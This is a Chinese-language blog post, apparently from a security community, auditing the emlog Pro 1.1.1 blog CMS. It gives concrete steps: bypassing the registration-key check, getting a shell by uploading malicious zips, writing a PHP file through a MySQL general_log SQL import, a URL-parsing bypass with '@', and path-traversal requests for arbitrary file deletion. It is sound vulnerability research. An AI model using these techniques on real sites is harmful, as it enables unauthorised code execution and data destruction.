文章首发于:
火线Zone社区(https://zone.huoxian.cn/)
下载地址
https://github.com/emlog/emlog/archive/refs/tags/pro-1.1.1.zip
版本:V1.1.1
友情提示
安装过程需要注意,会一直提示config.php文件不可写,需要修改文件名称。
config.samlpe.php更改为config.php
安装成功
代码审计
为了方便的审计各个功能点,需要突破注册限制。
仅仅用于测试学习
定位到验证请求注册码的函数 checkEmKey 将其返回值修改为 true。
构造注册的数据包。
POST /admin/register.php?action=register HTTP/1.1
Host: emlog.test
Content-Length: 9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://emlog.test
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog.test/admin/register.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ll7vttt0trnkrvs9788bc801ft; EM_AUTHCOOKIE_coTN2HYOMn8gLrUJC4wndk9ShCpcWQzC=admin%7C%7C7818bbe9400578f5b78aaf619f002497
Connection: close
emkey=123456
上传压缩包 getshell(emUnZip)
-
登录 emlog 后存在上传压缩包的功能,安装模板、安装插件
-
安装模板
构造一个恶意压缩包
上传到路由 /admin/template.php?action=upload_zip
admin/template.php
http://emlog.test/content/templates/VideoTheme/phpinfo.php
更新压缩包,功能点位于:
admin/upgrade.php
会从指定的 url 下载文件并进行解压操作
利用 phpstudy 中的 http 服务,并构造恶意压缩包文件
构造数据包
可以看到根目录下已经生成了 phpinfo.php
可以利用的就是这三个,但是同样有一个很有意思的地方。
商店安装(不可利用)
admin/store.php
这是商店安装模板和插件的功能,就是从官网下载压缩包,然后再进行解压的操作,OFFICIAL_SERVICE_HOST = ‘https://www.emlog.net/’ ,但是压缩包必须是存在于官网上的,如果 url 最后没有 / 的话,就可以利用 url 解析不当来进行绕过
https://[email protected]/phpinfo.zip
但是加了 / 之后是没有绕过的思路了。
插曲
记录一下,利用 phpstudy 开启 443 服务的操作。
取消
LoadModule ssl_module modules/mod_ssl.so 前的注释。
在 apache 服务 对应的 confvhosts 文件夹下 创建文件 vhosts_ssl.conf
Listen 443
SSLStrictSNIVHostCheck off
SSLCipherSuite AESGCM:ALL:!DH:!EXPORT:!RC4:+HIGH:!MEDIUM:!LOW:!aNULL:!eNULL
SSLProtocol all -SSLv2 -SSLv3
<VirtualHost *:443>
DocumentRoot "F:ToolsphpstudyWWW" #(网站根目录路径)
ServerName localhost #(更换成自己的域名)
ServerAlias localhost #(更换成自己的域名)
<Directory "F:ToolsphpstudyWWW"> #(网站根目录路径)
Options FollowSymLinks ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>
SSLEngine on
SSLCertificateFile "F:ToolsphpstudyExtensionsApache2.4.39confsslserver.crt" #(证书路径)
SSLCertificateKeyFile "F:ToolsphpstudyExtensionsApache2.4.39confsslserver.key" #(证书路径)
</VirtualHost>
重启 apache 服务,即ok
备份数据文件 getshell
创建恶意 sql 文件
set global general_log=on;
set global general_log_file='F:/Tools/phpstudy/WWW/emlog-pro-1.1.1/emlog-pro-1.1.1/shell.php';
select '<?php phpinfo(); ?>';
在导入备份文件处导入恶意 sql 文件
http://emlog.test/shell.php
检测了备份 sql 文件的大小,后缀。
通过函数 checkSqlFileInfo 检测了sql 文件的文件头,再通过函数 backindata 来执行 sql 文件。
将sql文件中的内容以数组的形式保存,然后遍历整个数组内容,通过query()去执行SQL语句。
任意文件删除(emDeleteFile)
通过全局搜索删除函数 unlink,发现函数 emDeleteFile
查找调用函数 emDeleteFile 的地方。
删除模板
admin/template.php
对参数 tpl 并未进行过滤,所以可以通过构造数据包实现任意文件删除。
http://emlog.test/admin/template.php?action=del&tpl=../../../template.txt&token=debf8f399b7a9f85e85f057245016ab74d9a3809
删除插件
admin/plugin.php
对参数 $plugin 进行了正则处理,正则匹配仅获取了第一个 / 之前的数据,所以可以通过 来进行替换。
http://emlog.test/admin/plugin.php?action=del&plugin=……plugin.txt&token=debf8f399b7a9f85e85f057245016ab74d9a3809
小结
目前发现的都是后台利用的漏洞,所以一般适用于二次漏洞利用。
【白帽技术交流群】
进群可以与技术大佬互相交流
进群有机会免费领取节假日礼品
进群可以免费观看技术分享直播
识别二维码回复【交流群】进群
【火线zone社区周激励】
2022.2.7 ~ 2022.2.13公告
【相关精选文章】
火线Zone是[火线安全平台]运营的封闭式实战安全攻防社区,研究讨论实战攻防技术,平台向顶尖的白帽子提供安全测试的云端基础设施,目前火线的高级白帽子数量已经近万人,欢迎具备分享和探索精神的白帽子加入火线Zone社区,共建一个有技术氛围的优质社区!
如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)
微信号
huoxian_zone
点击阅读原文,加入社区,共建一个有技术氛围的优质社区!
原文始发于微信公众号(火线Zone):emlog Pro审计小记